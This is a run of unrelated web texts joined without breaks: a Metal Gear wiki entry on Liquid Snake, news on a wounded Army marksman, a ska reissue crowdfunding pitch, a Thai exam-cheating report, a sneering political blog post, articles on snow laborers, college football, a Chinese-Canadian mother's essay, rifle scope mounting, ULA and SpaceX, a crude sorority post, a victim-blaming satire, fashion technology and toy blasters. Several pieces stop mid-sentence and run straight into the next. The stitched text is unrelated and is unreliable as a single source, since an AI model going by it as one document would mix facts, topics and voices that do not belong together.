Liquid Snake had been trained to resist torture.[28] He also had the uncanny ability to disguise himself in a multitude of ways, and spent time as a mercenary and assassin, having disdain for service in the military.[27]
His part Japanese heritage, alongside his knowledge of Arabic, allowed him to pass as half Turkish and half Caucasian during his sleeper agent duties, and used his time as a sleeper agent to quickly create contacts with various resistance fighters among oppressed Kurds and Islamic fundamentalists that were repressed as part of Saddam Hussein's pan-Arabist agenda, to which his contacts acted as the main reason why Liquid was able to remain inside Baghdad long after the beginning of the Gulf War despite the heavy presence of the Mukhabarat (the Iraqi Intelligence Service) agents and counterspies within the al-Amn al-'Amm secret police forces. In addition to the SCUD missile mobile launching platforms' locations, Liquid also uncovered details of mustard gas production as well as the movements of Republican Guard tanks, and filed the reports to coalition forces, who promptly used his information to plan a number of missions.[28]
During the Gulf War, Liquid Snake succeeded in destroying four mobile SCUD missile launchers before Iraqi paratroopers captured him,[27] with even Liquid being unable to comprehend how he was captured easily as he was being transported for the secret police's headquarters in a van with a canvas sack over his head. In addition, Liquid was believed to have been sold out by the SIS to get a new source of information from one of Saddam's closest associates. After being delivered to the al-Amn al-'Amm headquarters, he was subject to the torture of the secret police's interrogation squads. These torture rounds, as well as the interrogation squads' sadistic reactions to rubbing salt into Liquid's wounds under Saddam's command, were what led Liquid to believe that humanity, when absolutely free, were vicious and irredeemably evil, almost similar to beasts. His hatred of having his will constrained to the extent that the only "liberty" that it can be allowed is to live was also stemmed from the brainwashing in the POW camps.[28]
He was then brainwashed by the Iraqi government and assigned to undertake major terrorist activities throughout the Middle East before he was rescued in 1994.[27] During his time of brainwashing, he also set about creating international networks.[28] Upon hearing of the FOXHOUND unit during the 1990s, he expressed interest in it and dubbed his activities "jackal hunting," which was a rudimentary Middle Eastern equivalent of FOXHOUND. He also developed a resistance to extreme climate temperatures due to his missions in the Arab desert regions.[27]
By the time he became the commander of FOXHOUND, he started suffering mental instability as a result of discovering that the "genes" that he inherited from Big Boss as a result of the Les Enfants Terribles project were apparently recessive.[27]
Behind the scenes
Liquid Snake (リキッド・スネーク, Rikiddo Sunēku?) serves as the primary antagonist of the original Metal Gear Solid. Hideo Kojima made Liquid Snake a clone in order to create a strong opponent for Solid Snake, and thus a worthy final boss for a video game, citing that, "It's Snake who can surpass the Snake."[29][30]
Metal Gear Solid
The mission in which Liquid was captured in Iraq bears similarities to one of the mission outlines of a failed SAS operation during the Gulf War, Bravo Two Zero.
Although Roy Campbell said Liquid was rescued after Snake retired from FOXHOUND, Liquid's briefing file says he was rescued in 1994, one year before Snake retired.
In the original game's English version, Liquid mentioned that Big Boss had personally told him that he was inferior. In the Darkness of Shadow Moses instead has Liquid state his belief that Big Boss knowingly chose him to be the inferior clone (also included in The Twin Snakes remake), possibly suggesting that the two never met one another. It remains unclear as to which clone was created to express Big Boss's dominant or recessive traits, since Liquid's exposition on Les Enfants Terribles is contradicted by Ocelot's later report to Solidus, regarding which clone was designated the "inferior" one. The subject of Big Boss's dominant and recessive traits, in regards to the clones' gene expression, has never referred again in subsequent games and sources. A recap of Liquid's dialogue was included in the in-game novel In the Darkness of Shadow Moses, but there is no mention of dominant and recessive traits. However, the dialogue remains essentially unchanged from the original game in The Twin Snakes remake.
In Liquid's official Metal Gear Solid artwork, he is seen wearing dog tags, though they are not seen in the game itself. However, his wearing of dog tags was included in the remake, The Twin Snakes, in which the player is also given an option to procure the tags if Liquid is knocked off the edge of Metal Gear REX. Nevertheless, Liquid will retain them in various following cutscenes.
Although it can be difficult to notice due to the graphical limitations of the time, one can observe that both Liquid and Solid Snake share the exact same face model. The only differences being Liquid's longer blonde hair and darker skin tone. Otherwise both Solid and Liquid Snake share the same facial appearance right down to the scar on the left cheek.
AbbyShot Clothiers, a company that creates movie and video game-inspired clothing, created a trenchcoat similar to those worn by Liquid and other members of FOXHOUND.[31] The standard coat is priced at |
Bob Foth, USA Shooting’s Paralympic coach, sees beauty in the similarity to able-bodied competition because, ultimately, skill, not disability is tested. In Olson’s two events, he has 75 minutes to shoot 60 rounds at the target’s 10 concentric rings. A bull’s-eye earns 10 points. To compete in the 10-shot, 750-second final, he needs to shoot a near-perfect 598 or 599. That comes against targets, in the 10-meter air rifle, with a bull’s-eye the size of a keyboard period.
Olson tied with two others as the world’s top-ranked paralympic shooter in the 50-meter rifle in 2011, narrowly missed qualifying for Beijing’s Paralympics, and, since he competes in able-bodied contests, wants to shoot in the Olympics. He feels lucky to be here, still in the Army, shooting for a living, but settles for training soldiers bound for Afghanistan, instead of fulfilling his wish to serve there.
Three or four times each year, when his loaded schedule of international shooting matches and marksmanship instruction allows, he visits Walter Reed National Military Medical Center in Bethesda, and tells wounded soldiers wearing looks of “What’s next?” that linger in his mind, their lives aren’t over.
If depression creeps in, Olson gets upset.
“What do you have to be sorry about?” he said. “Life’s not that bad.”
Ability not disability
Almost nine years later, some soldiers fight tears as they recall the bright flash in Tal Afar that transformed Olson. Such is the affection they retain for the soldier they joke is lucky he didn’t lose his trigger finger.
“Some people succumb to their injuries and let their injuries and their wounds become who they are,” said Jones, who left the Army, and runs “Not Alone,” a non-profit aiding soldiers and families struggling with PTSD. “Some people thrive off them.”
Prompted by Olson’s success, the Marksmanship Unit plans to add 24 wounded soldiers as instructors and competitive marksmen in October.
“The most remarkable part isn’t that he survived that day,” Dycus, the physician assistant, now stationed in Germany, wrote in an email. “Instead, it is what he has done with himself every day since.”
So, the boy who dreamed of being a soldier, and the sergeant who thought the dream was finished as he lay in a hospital bed, now has his face staring down a rifle on an Army recruiting poster.
“SFC Olson,” the poster reads, “exhibits ability rather than disability.”
He’s home.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.* BONUS ACHIEVED!! Every Pledge over $20 will now get a super secret 7" free along with whatever reward they have chosen, as a special thank you for all the support we have received on this project!
This is a joint project between Connecticut based Asbestos Records & Chicago Based Underground Communiqué Records. We both love ska, we both love vinyl.. and here's our little plan to combine those two loves.
Growing up in the 90's we fell in love with the burgeoning Ska movement that was developing within the underground punk scene. So many amazing bands packed small clubs, and halls all across America, especially in the Northeast, and Midwest where the two of us grew up. The Majors took notice, and seemingly overnight the whole thing blew up as “the next big thing” got gobbled up, co-opted and like every other musical trend quickly died off and became a 4 letter word.…well, except to those diehards who really loved the music and were too stubborn (no pun intended Django...) to let it die.
A few years ago it dawned on us that there was a ton of great records we loved as teenagers, that were long out of print on CD, never made it to iTunes, and were never available on vinyl. We slowly started contacting our old friends in these bands, asking for their blessing to reissue them, knowing full well that releasing a dead genre on a dead format was a horrible business model, but these albums are just too good, and too important to their fans to be left to obscurity. A few years ago we started our little project separately, before joining forces to bring these records back from the brink of obscurity and began reissuing classic 90's & 00's albums from the likes of bands such as The Slackers, Mustard Plug, The Suicide Machines, The Rudiments, Spring Heeled Jack, Arrogant Sons of Bitches as well as newer bands like Bomb the Music Industry!, The Flaming Tsunamis, and Sonic Boom Six. Not to mention the highly successful Ska is Dead 7” series we curated with Dave Kirchgessner from Mustard Plug, which will be an ongoing series promoting today’s still active headliners paired with up-and-coming ska bands.
Now we've been offered a whole bunch of amazing records to reissue, and vinyl is a good deal more expensive/risky to press, so we're reaching out to the Ska Community to help us to continue to preserve and reissue these classics of the genre we so love.
The next batch of releases will be as follows:
The Pietasters “Oolooloo”Arguably the greatest soul/ska record ever produced. This classic Moon Ska release owes as much of its sound to Motown, as it does to Jamaica. The band perfected their sound on this record. It was before they had toured with the Mighty Mighty Bosstones and developed a slightly harder edge on their Hellcat releases. To this day, when the band plays live most of their set list is still dominated by songs from this album.
Pilfers “Pilfers” Most supergroups are like the NFL probowl, tons of name recognition, but no real reason to pay any attention. This was absolutely not the case with NYC's Pilfers. Featuring ex-Toasters Coolie Ranx (who also managed to perform guest vox on seemingly every 3rd wave bands album in the late 90’s), Bim Skala Bim's Vinny Nobile on co-lead vocals and trombone, the rythm section from NYC's Skinnerbox: Anna Milat-Meyer, on bass & drummer James Blanck, and guitarist Nick Bacon from The Erratics. This band pioneered a reggae/ska/punk hybrid unlike anything that had come before. Their self released album is simply a masterpiece which stands as one of the brightest moments of the 90's Ska Revival, and the combination of two of the genre's most enigmatic frontmen made their live show unbelievable.
Edna's Goldfish “Before You Knew Better”In our opinion, hands down The Best ska album to come out of the Long Island scene in the 90's, and one of our personal favorite 3rd wave records period. This soulful super-dancey/pop ska record put them in a similar vein as CT's Spring Heeled Jack, and helped foster what would be an incredible local ska scene on the island that would influence such Asbestos Alumni as High School Football Heroes, Arrogant Sons of Bitches, Nix86 and tons of more bands. Though relatively unknown, possibly the most obscure of this batch of releases, the overall enthusiasm for this release held by the few and proud fans it did finds its way into their hearts remains as strong as ever to this day.
Suburban Legends “Rump Shaker”Most Ska bands that managed to get big did so largely based on the strength of their live shows and non stop touring. Santa Ana, California’s Suburban Legends took this to a whole new level in the years surrounding this release. Ridiculously complicated choreographed stage performances, and managing to play over 1000 sets in a single calendar year (performing over 960 shows: multiple sets a day at Disneyland, aside from their own rigorous touring schedule) is one hell of a way to show your dedication. If you've ever see them live, they get the crowd dancing just as hard as they are, and very few bands can even come close to their energy level. This record is the last to include Dallas Cook before he was sadly taken away from us.
So thank you for taking the time to consider our project, and if you are able to, please join our project and help us continually stengthen our little community, score some great records for your collection, and hopefully share those tunes with some new friends.Image caption The cheaters had a team on the outside sending the right answers to smartwatches
Some 3,000 students in Thailand must retake university entrance exams after a cheating scam involving cameras and smartwatches was uncovered.
The sophisticated scam happened at Rangsit University in Bangkok.
The university says three people filmed their test papers using tiny cameras embedded in their glasses.
They then transmitted the images to an outside team, who sent the correct answers to the smartwatches of three other students taking the exams.
One admitted he was being charged $24,000 (£17,000) to receive the right answers to get into medical school.
There is tough competition to get into medical school in Thailand but potentially high rewards, as patients from around the world travel to Thailand for medical treatment.
Image copyright Arthit Ourairat Image caption The university's rector uploaded pictures of the cheating equipment to Facebook
Students blacklisted
The university's rector, Arthit Ourairat, told the Bangkok Post the students involved had been blacklisted and would not be allowed to apply to study there again.
The newspaper said the people filming the exams left partway through so they could transmit the films of the test papers to the outside team.
The students involved have not been named and it is not clear whether they are part of a wider network.
Mr Ourairat made the scam public in a post on Facebook. It was shared tens of thousands of times.
"If they had passed and graduated, we might have had illegal doctors working for us," commented one person.Apparently #MillionStudentMarch is a thing, where students are matching for the right to make ridiculous demands based on things they know nothing about. Neil Cavuto interviewed one of them, and it was brutal. By “brutal” we mean, OMG, stop what you’re doing and watch this. Now.
NEIL CAVUTO: They’ve done studies on this, Keeley, I don’t want to get boring here, but even if you were to take the 1 percent and take all of their money — tax it 100 percent — do you know that couldn’t keep Medicare, just Medicare, in this country going for three years? Did you know that? SJW: Yeah, I don’t believe that,” Mullen said in response. “Yeah, I’m sorry, that just sounds completely ludicrous to me.
Translation:
This is the best part:
SJW: You know, people in your position, you know, don’t want to pay 90 percent in taxes, because… CAVUTO: I dare say unless you’re high as a kite you wouldn’t volunteer to pay 90 percent.
Boom. Neil Cavuto, the unofficial World’s Most Decent Guy, just murdered this woman in the politest way possible. I mean she got creamed. Like stabbed with a butter knife a thousand times, then spread like jelly on white privilege bread. Nom nom.
Here’s the greater issue: this Keely girl with the lopsided ponytail and the valley girl speak (it’s like Christmas came early, served in red cups) not only is she clueless about basic economics, she feels entitled to everything because she wants everything. Worse, she wants everything for nothing. She trots out the Bernie Sanders talking points about the top one percent needing the shaft because me, me, me, me, and doesn’t change tack when Cavuto dons a satin glove and smacks her.
The future of our country, ladies and gentleman. Scared?The overabundance of snow that has shuttered schools, snarled mass transit and drained salt supplies has also turned into an unexpected boon for many of the city’s poor and unemployed. On Thursday, the Sanitation Department hired 518 snow laborers for the day, including 230 laborers in just the Bronx, which has an unemployment rate of 10.6 percent, the highest in the city. It was the 10th day this year the department had called out the laborers.
The snow laborers program, which was started in the 1990s, is financed through the department’s $57.3 million annual budget for snow operations. Keith Mellis, a spokesman, said that it was intended to supplement the efforts of 4,600 city sanitation employees during periods of particularly heavy snowfall or cleanup. “We look at it as an extension of the department,” he said. “We are the front lines, but the residents who make up this city are just as responsible as we are. We’re one big team.”
The jobs are open to any city resident 18 and over who has a valid identification and Social Security card, and does not require a physical fitness test (though sanitation workers will ask applicants if they can perform physical labor). Mr. Mellis said that he was not aware of any laborer who incurred a major injury on the job, though some have slipped or fallen on the ice. The department supplies the shovels, picks, orange vests and gloves.
Rosario Polanco, 26, an immigrant from the Dominican Republic, and two other women worked alongside nine men on the Grand Concourse. Ms. Polanco, who lost her waitressing job eight months ago, said she needed the money to support herself and her 4-year-old son. “It’s not hard for me,” she said. “Hard is when you’re looking for a job and you’re not finding it.”
Mr. Colon’s group of five hauled shovels and picks along the street, stopping from time to time to work a stubborn patch of ice. At a bus stop, they cleared away a mound of snow for Maria Soto, 82, who was pushing a stroller.More great news came today for the Louisville football program on the defensive side of the ball.
Sophomore Shaq Wiggins announced via Twitter today that he would return for his junior season to earn his degree.
Of course im coming back to receive that degree!!!!! 😁 — Shaquille Wiggins (@ShaqWiggins6) January 6, 2016
This news follows yesterday’s news of starting Safety Josh Harvey-Clemens and starting Linebacker Keith Kelsey returning as well.
Shaq followed Defensive Coordinator Todd Grantham to Louisville from Georgia where he played 12 games and started eight as a redshirt freshman.
Wiggins contributed to Louisvilles 8-5 2015 season with 30 tackles and two interceptions.
Petrino and his staff will now wait to find out if defensive linemen Devonte Fields and Deangelo Brown will return for their final season of eligibility.How did a second-generation Chinese-Canadian mom learn to embrace both of her cultures? How is she balancing the art of preserving both of them for her daughter?
My best childhood memories involve food. I mean, I don't know a single Chinese person who doesn't love food. My first school lunches marked a journey of learning to embrace both of my cultures:
Some kid in my class: "Eww... are those worms you're eating?"
Me: "No, those are stir-fried Shanghai noodles and they're delicious."
Another kid in my class: "Are you eating a frog for lunch?"
Me: "No, that's just the bamboo leaf that wraps around my mom's famous joong (glutinous rice dumpling)."
At the end of the week, I told my mom I wanted ham sandwiches for lunch.
Katharine Chan My mom and I when I was six or seven.
I'm a millennial born and raised in Vancouver, who grew up in a predominantly Caucasian community. My parents immigrated from Hong Kong to Canada in the '70s.
Being Chinese is a huge part of who I am. When I started school, I realized I was different from everyone else. To avoid sticking out like a sore thumb and drawing attention to myself, I would put my "white person hat" on during school and take it off (along with my shoes) when I came home.
At school, I spoke English with my friends, ate sandwiches and celebrated occasions like Valentine's Day and Halloween. At home, I spoke Cantonese, ate rice, celebrated occasions like Chinese New Year and Mid-Autumn Festival, and went to Chinese school on Saturday mornings. Basically, I had two identities.
As I entered my pre-teens, fitting in included knowing what the coolest trends were and what was happening in pop culture. I started watching American television and listening to American music, and that "white person hat" stayed on a little longer every time I came home.
I wanted to be a blonde with blue eyes, just like Jen from Dawson's Creek or Kelly from 90210.
Rejecting my Chinese culture peaked in high school. I associated being Chinese as my barrier to being popular. It was like my culture prevented me from having that "milkshake" that brought all the boys to the yard. (Come on, Kelis. Most Asians are lactose intolerant.)
I wanted to be a blonde with blue eyes, just like Jen from Dawson's Creek or Kelly from 90210. I didn't look like any of the Spice Girls, except maybe the pregnant friend from the movie — though I just checked IMDb, and she's Japanese. I digress.
In addition to abandoning my culture, I shut my parents out. There was a generational gap as well as a cultural and language barrier that made communicating about things like puberty, mental illness, dating, popularity, body image and friendships difficult. I shared very little with them, even though I was struggling with perfectionism, depression, disordered eating and self-harm during this time.
Artona My Grade 12 graduation picture.
Anyway, many bottles of hair bleach and many dozen pairs of coloured contacts later, I started to learn to love myself externally and internally around my first year of university. I was surrounded by those who looked like me. Granted, I was in sciences, where we congregated like a sea of soy sauce. Meeting others who had a similar upbringing made me feel like I belonged.
Rather than being torn between the two cultures, I defined my own as neither fully Canadian or fully Chinese. I was granted an opportunity to pick what I valued from each, and the change in perspective empowered me. I realized I can have both Chinese and Canadian values, because that's what makes me who I am. My identity can change over time, but I dictate how that evolution occurs. This was my "self-discovery phase."
I learned to love myself physically and embraced every aspect of my Chinese look. I love my olive-yellow skin, my straight black hair, my below-Canadian-average stature and my upturned eyes.
During this time, my relationship with my parents changed. I told them about my mental health issues and eating disorder. For this conversation to occur, I tapped into both my Canadian and Chinese influences. The Canadian school system taught me about mental illness and gave me the knowledge and courage to talk about it with my parents. My Chinese upbringing instilled in me my family values and a respect for my parents, providing me with the confidence to know that my parents would always be there for me.
Not only do I love myself the way I am, but during this phase, I realized I wanted to be with someone who could fully appreciate that journey.
Katharine Chan Our wedding in 2015.
My husband is also a Chinese-Canadian, born and raised in Vancouver. We share a similar experience in embracing both our cultures. We speak Chinglish to each other, Cantonese to our parents and daughter.
We hope our daughter feels empowered to know she has a choice to define her own culture and shares with us her journey. Her identity is hers to create, and we hope we can help shape that journey by instilling in her the Chinese and Canadian values that we've embraced.
Katharine Chan
When I became a mom, writing became a means of therapy. I searched online for Chinese-Canadian mom bloggers who, like me, were trying to preserve a part of their culture with their children. The results were limited, but I felt sure that there were other moms who felt the same way. If I put myself out there, perhaps I could start making those connections so others can feel a sense of community — to help them feel connected and to raise awareness about issues that never get talked about. So I started a blog, Sum (Heart) On Sleeve.
Katharine Chan My daughter and I playing piano.
It's my way of capturing my experiences so that when my daughter is old enough, those tough conversations will come more naturally than they did for my parents and me. I hope that by sharing with her how I came to love myself, it will inspire her to do so as well.
Katharine Chan
Blog: Sum On Sleeve
Facebook: @SumOnSleeve
Instagram: @SumOnSleeve
Twitter: @SumOnSleeve
Born And Raised is an ongoing series by HuffPost Canada that shares the experiences of second-generation Canadians. Part reflection, part storytelling, this series on the children of immigrants explores what it means to be born and raised in Canada. If you have a story you want to share to be featured on Born and Raised, please email us at bornandraised@huffingtonpost.com.
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Also on HuffPost:All scope rings are not created equal, and neither are receiver mounts. Some name-brand scope makers also manufacture rings and mounts for their scopes. It’s reasonable to expect that if you have, say, a Leupold scope to mount, then Leupold’s own mounting system is the best available. Of course, those mounts also fit all kinds of other scope mounting applications.
I only use two brands of mounting systems. One is Leupold and the other is the DNZ Reaper one-piece milled mount and rings. For AR rifles I recommend GG&G quick release rail mounts. I prefer steel to aluminum, but even I have to admit that there are alloys out there now that can hold up to anything.
Buy rings and mounts of the same brand so there is some degree of match. The rings have to fit precisely onto the mounts. Mounts usually come in one piece or two-piece versions, and both are reliable scope bedding systems. Just make certain a one-piece mount does not interfere with cartridge ejection.
Basic rings come in 1-inch or 30mm. It is an obvious necessity to match the scope tube size to the ring size. Some 30mm rings also include a set of Delrin inserts to size these rings down to fit a one-inch scope. I tend to stay away from these inserts because a scope can slip inside of them, but they generally work fine.
A lot of things can be screwed up when mounting a scope. It isn’t rocket science, but it does have to be done right. First get out the right tools and screwdrivers that fit the screws, hex heads, or Torx type screws.
Then degrease the mounting holes on the rifle with a cotton tip dipped in alcohol or gun solvent. Likewise, wipe down the mounts, rings, and all mounting screws to remove packing oil or grease. Let them dry.
Run the mount screws into the rifle scope mounting holes before putting on the mount. With each screw, a dab of gunsmith locking glue is a good idea. Turn the screws down tight for each mount, alternating tightening them down. Don’t overdo it. The worst thing that can happen is breaking off a screw in the rifle mounting hole.
For the rings, I like to run some 400 grit sandpaper inside the rings to clean off the bluing or stainless finish and then wipe clean without oil. Mount the rings according to the manufacturer’s instructions. Make certain the rings are mounted or turned square to the receiver so they won’t bind on the scope, then take the top half of the rings off to complete the job.
Set the scope down into the lower half of the rings, put on the top part of the rings, and turn all the screws down loosely. At this time you must adjust the eye relief or the distance from the eyepiece to your shooting eye when the rifle is mounted to the shoulder. You also have to square up the crosshairs so that they’re not tilted.
When these adjustments are set, begin to tighten down the scope ring screws. Go slowly, alternating between the screws, but do not over tighten. Check the crosshairs again to make sure they’re squared up to the rifle. Check the gap between the upper and lower ring halves to be sure the space is equal on both sides. This means there is equal pressure on the scope. When tightened down, the scope should not be able to be turned inside the rings.
Wipe down all the metal surfaces with a lightly oiled rag. Then use scope lens cleaning solution and a soft cloth to clean the front and rear glass. That should just about do it. You may want to check the eye focus adjustment again then lock it down.
Now you are ready to bore sight the scope in preparation for heading to the gun range for a live fire sight in session. One nice final touch is to get a soft neoprene scope cover to stretch over the scope for protection from nicks, scratches, and weather elements.It’s been a tough week for United Launch Alliance (ULA). A hearing last Wednesday brought news of a potential ban on Russian made RD-180 engines which ULA requires for their Atlas V rocket. To make matters worse, the U.S. Air Force is also considering ending an $800 million-per-year contract with the company.
This bad news actually works in favor for SpaceX, who is now certified to compete with ULA for high-budget military launches from the Air Force. In fact, SpaceX is the only other company capable of competing with ULA for these launch contracts.
Removing Russia from the Military Launch Business
Last Wednesday, the chairman of the Senate Armed Services Committee, Senator John McCain (R-Arizona) said that he was going to introduce legislation to reinstate a purchasing ban of Russian RD-180 rocket engines for military launches.
This is a problem for ULA whose Atlas V rocket, which they use for military launches, requires a single RD-180 engine. If McCain’s ban is approved, that would leave ULA with only 9 already-purchased RD-180 engines for Air Force launch contracts.
Congress originally cut ULA’s supply to RD-180 engines back in 2014 after Russia’s incursion into Ukraine. The ban was intended to reduce the United States’ reliance on Russia, especially when it came to military assets.
However, that ban was temporarily lifted in December when Congress enacted the 2016 omnibus appropriations bill. Senator Richard Shelby (R-Alabama) amended the bill to lift the RD-180 ban on ULA, whose rocket facility is located in Alabama.
In Wednesday’s hearing, McCain argued that the ban should be reinstated.
But the situation is complicated. The Air Force wants reliable access to space, but Congress doesn’t like companies giving money to the Russians in order to do that. Unfortunately, ULA doesn’t currently have another option.
This ban could also be seen as unfairly singling out ULA since NASA continues to pay hundreds of millions of dollars to Russia for rides to the International Space Station.
People are particularly angry about an event that happened late last year. In November, the Air Force opened up a competition for the 2018 launch of their GPS 3 mission.
At the time, the original purchasing ban on RD-180 engines was in effect and ULA declined to bid for the contract. ULA stated that, with the purchasing ban, they couldn’t guarantee an Atlas V rocket would be available when 2018 rolled around.
That Air Force contract is now expected to go to the only other viable option: SpaceX.
Some have suggested that this was a move by ULA to pressure the government into freeing up more RD-180 procurements. The reasoning behind this is that ULA has a longer and better track record for successful launches than SpaceX and it would be in the government’s best interest to maintain ULA as military launch provider.
Questioning a Decade-Long $800 Million Annual Contract
For the past decade, ULA has enjoyed a monopoly on Air Force military launches. Because they were the only means to get military assets into space, the Air Force needed a way to ensure that ULA could maintain that capability at all times. Their answer was an $800 million annual “launch capability contract,” which was set to run through 2019.
When ULA opted not to bid in the Air Force’s November competition, some started to question the purpose of the $800 million capability contract. In fact, during Wednesday’s hearing, Air Force Secretary Deborah Lee James said that they were going to study the implications of ending the $800 million contract early.
This contract was already a point of controversy after SpaceX received certification to join the military launch market back in May of 2015, ending ULA’s decade-long monopoly. The question was, if SpaceX can maintain the necessary launch capabilities without a nearly billion dollar contract, why should taxpayers continue to pay ULA $800 million each year?
Competition Between ULA and SpaceX Moving Forward
Recent developments in Russia and the fact that ULA no longer holds a monopoly are the two factors that have turned the military launch market on its head. With two players now in the game, decade-long policies and contracts are getting called into question.
ULA has, however, taken steps to move away from the RD-180 engine. In September of 2014, the company partnered with Blue Origin to jointly develop a new U.S. made rocket engine. The engine is estimated to take 4 years to develop and be launch-ready in 2019.
But will that be soon enough?
Because of their pristine launch reliability record, ULA has always been an attractive launch provider for the Air Force. But today, ULA’s reliance on RD-180 engines has proven to be their greatest weakness, and SpaceX’s greatest asset.Over the weekend, we received a news tip from a student who attends the University of Alabama.
My roommate is a Zeta. She said that all members had to sign a social media contract banning things like selfies on Instagram because it was immature and made them look bad to PNMs for next year.
This is genius. I’ve said it before and I’ll say it again. Selfies are like masturbating — we all do it, but keep that shit to yourself. If a sorority can moderate your social media accounts, and keep you from posting photos like this or this, or this (haha, fuck you, standards!), then they should be able to prevent you from posting truly embarrassing photos, like the ones you take of yourself.
If we can somehow get the whole world to sign this contract, I think we’d truly be living in a better place. Hats off to you, Alabama Zeta. One sorority down. Thousands and thousands and thousands to go.After just barely skimming over the recent New York Times exposé on comedian Louis CK’s sexual misconduct, Stuart Martins of Norfolk, VA remarked to his office, “Well why would you go into a comedian’s hotel room alone?”
Having missed the bulk of the article that detailed how two women specifically entered Mr. CK’s hotel room together because they felt much safer that way, Martins’ default reaction was to blame the victims for their own assault, and also not make the effort to read the entire article.
“I just think that if you’re going into someone’s hotel room, late at night and by yourself, you’re asking for trouble,” added Martins as he continued skimming his Facebook feed.
Five women accused the comedian of similar acts during a phone call, in a meeting in an office, and while walking to a television set, in the article which Stuart Martins did not read. As coworkers attempted to correct him, he continued: “When you put yourself in a position to be taken advantage of, you can’t be surprised when it happens to you.”
“The entertainment industry has always been a dangerous place,” he added, oblivious to the fact that all of the women profiled were approached by Louis CK in innocuous situations. “And that means you have to be responsible for keeping yourself in a safe environment.”
When Martins was finally made aware of Mr. CK’s legacy of inappropriate sexual advances, already explained very thoroughly in the front-page feature he didn’t bother to fully read or understand, Martins responded, “Well, women in the industry should do more research on who they decide to work with.”
“I mean, what do they expect from these powerful men?” he quickly added, successfully shifting the blame back to women.Google and H&M's Ivyrevel coded couture project | Source: Courtesy
BANGKOK, Thailand — If you think you run a fashion business, you’re wrong. A technology business with a fashion focus? Sure. Anything else and you may as well wave the white flag, because the rules of the rag trade are changing. You’re either leading that change, or you’re a sitting duck ready to be picked off by a sharp-shooting tech juggernaut.
Since Amazon first started peddling books online, Jeff Bezos never once saw his company as a retailer. “Amazon is a technology company. We just happen to do retail,” said Amazon CTO Wagner Vogels in 2011. With this mentality it’s no surprise Amazon has been able to conquer retail category after retail category, solving long-old supply-chain inefficiencies using technology as the not-so-secret weapon.
From product development to distribution, nothing about the fashion supply-chain is agile. It’s impossible for traditional fashion businesses to respond to real-time demand; it takes too long to get ideas to market. Even Zara, the masters of supply-chain efficiency, can only bring a product to market in 10-15 days. In our hyper-connected digital world, a lot can change in 15 minutes let alone 15 days.
The supply-chain also fails with personalisation. Products must be designed to appeal to markets broad enough to justify producing at scale, sacrificing individualisation for unit economics. Then there’s the fit issue. Standard sizes statistically fit less than 20 percent of the total addressable population. Too many consumers fall between the cracks of standard sizing bell-curves.
These shortcomings are being aggressively addressed by tech companies. Amazon for one has been mining its retail data and spinning up private labels to exploit product gaps discovered in the apparel market. In April 2017 the company was granted a patent for an on-demand apparel manufacturing system that creates custom clothing to the fit and specifications of individual customers. This means Amazon can not only eliminate inventory, but can respond almost instantly to market trends, and sell their products to the entire population.
Los Angeles-based Fame and Partners is another pioneer in the on-demand apparel supply chain. Like Amazon, the online womenswear label has developed a proprietary factory floor system with their manufacturing partner near Shanghai. CEO Nyree Corby says Fame and Partners use a modular design approach, allowing them to create new styles tied to their pattern and factory floor systems, which in turn maximises design flexibility, fit, and manufacturability. Corby says the rise of direct to consumer labels “translates to a larger proportion of brands now taking inventory risk than their business models previously allowed for.” She adds that reduced barriers for new fashion labels going to market “is driving fragmentation of trends and contributing to the general retail malaise.”
As consumers and their expectations digitally evolve, so too must the companies that clothe them. It’s not viable for fashion companies to design products for market segments when tech companies can design products for specific individuals. It’s not viable for fashion companies to spend weeks or months bringing products to market if tech-companies can do the same in seconds.
Technologies like data mining, machine learning, pattern bootstrapping, and product virtualisation are the tools of the new game. Tools that are already bolstering the arsenal of tech retailers like San Francisco-based Stitch Fix. They use artificial intelligence to analyse and predict purchasing behaviour, and formulate new product designs based on what components of style are popular at the time. Their AI-design technology sorts through trillions of design and fabric variants to generate products that have a statistically-high chance of retail success.
From product development to distribution, nothing about the fashion supply-chain is agile.
Human designers cannot compete with AI-designers when it comes to synthesising complex data from multiple sources. They also can’t compete with AI-designers to action their findings and assemble, render, and launch entirely new products in seconds. A consumer may soon be browsing an eCommerce site as an AI-designer watches and learns from their actions. The machine could design, render, and display new products to the consumer in real-time based on what it believes they want. The product could then be manufactured only after the consumer has purchased the product, eliminating inventory risk.
This supply chain revolution doesn’t only apply to mass-market fashion brands. Luxury brands cannot claim superiority when tech-driven mass-market players can guarantee a more personalised and better-fitting product.
Technology also shifts the creative process towards a more symmetric interaction between consumers and brands. With AI, brands have the scalability to use individual customers as the basis of inspiration for designs. H&M’s Ivyrevel have collaborated with Google to translate “a week of your life into a one-of-a-kind design.” Lifestyle data is collected through an Ivyrevel app, including tracking venues they visit and activities they do. The app learns “who you are, what you like to do, and where you like to go,” and then proposes a unique dress design for a specific occasion.
This might sound like novelty, however it’s just the beginning of a movement where technology begins to inform the creative process. To remain at the cutting-edge, luxury brands must learn to harness AI to pioneer new and meaningful experiences with consumers.
Fashion businesses need to start their transition into technology companies now. The sooner they start, the sooner they’ll cultivate the domain expertise required to remain competitive in the future. Firstly, digitise historical designs and build a rich database of products split into their individual variants. When properly organised, a human or AI designer can easily reference this library to assemble unique product without having to create anything from scratch.
Secondly, ditch standard-size grading and adopt parametric pattern grading. With parametric grading any product design can be made to fit any body type. It is getting easier and easier to capture customer body data, from taking 3D body scans on smartphones to predicting 50+ measurements from a few questions about fit. It’s only a matter of time before the mass market falls for bespoke fit, and you don’t want to be dependent on standard sizes when that time comes.
With parametric grading and bespoke fit comes the third recommendation: supplement your mass-produced inventory with on-demand production. You can quash sizing-related problems, eliminate unsold inventory headaches, and be responsive to consumer demand on a sale-by-sale basis. A low-barrier-of-entry approach would be to leverage pre-sales as a way to collect a critical mass of orders before producing custom products at scale.
Finally, start collecting and analysing all the data that you have, such as point-of-sale data, e-commerce analytics and metrics about your customers. Whatever you have, collect it. Your biggest competitive advantage is locked away in the data that flows |
, despite the ambitious features, does not even have a proper website of its own since the announcement. I am guessing the game is delayed indefinitely to cater the more lucrative mobile gaming market. Also, Moonlight Blade will only launch in South Korea, which was announced some time back, so don’t hold your hopes up for an English server.Thanks to JetCell from Nerf Mods and Reviews(Link!) for making me aware of these. Some great images and details about the new blasters!
First we have the Ruff Cut 2×4, which we’ve seen before. It apparently shoots 2 darts at a time for every prime, with 8 darts in total. It’s the new Barrel Break, and man does it look cool. Same ergonomics, but this time it has a pump action mechanism.
Apparently, it gets 75 feet, and is plunger based.. So we’ll have to see how this one works out.
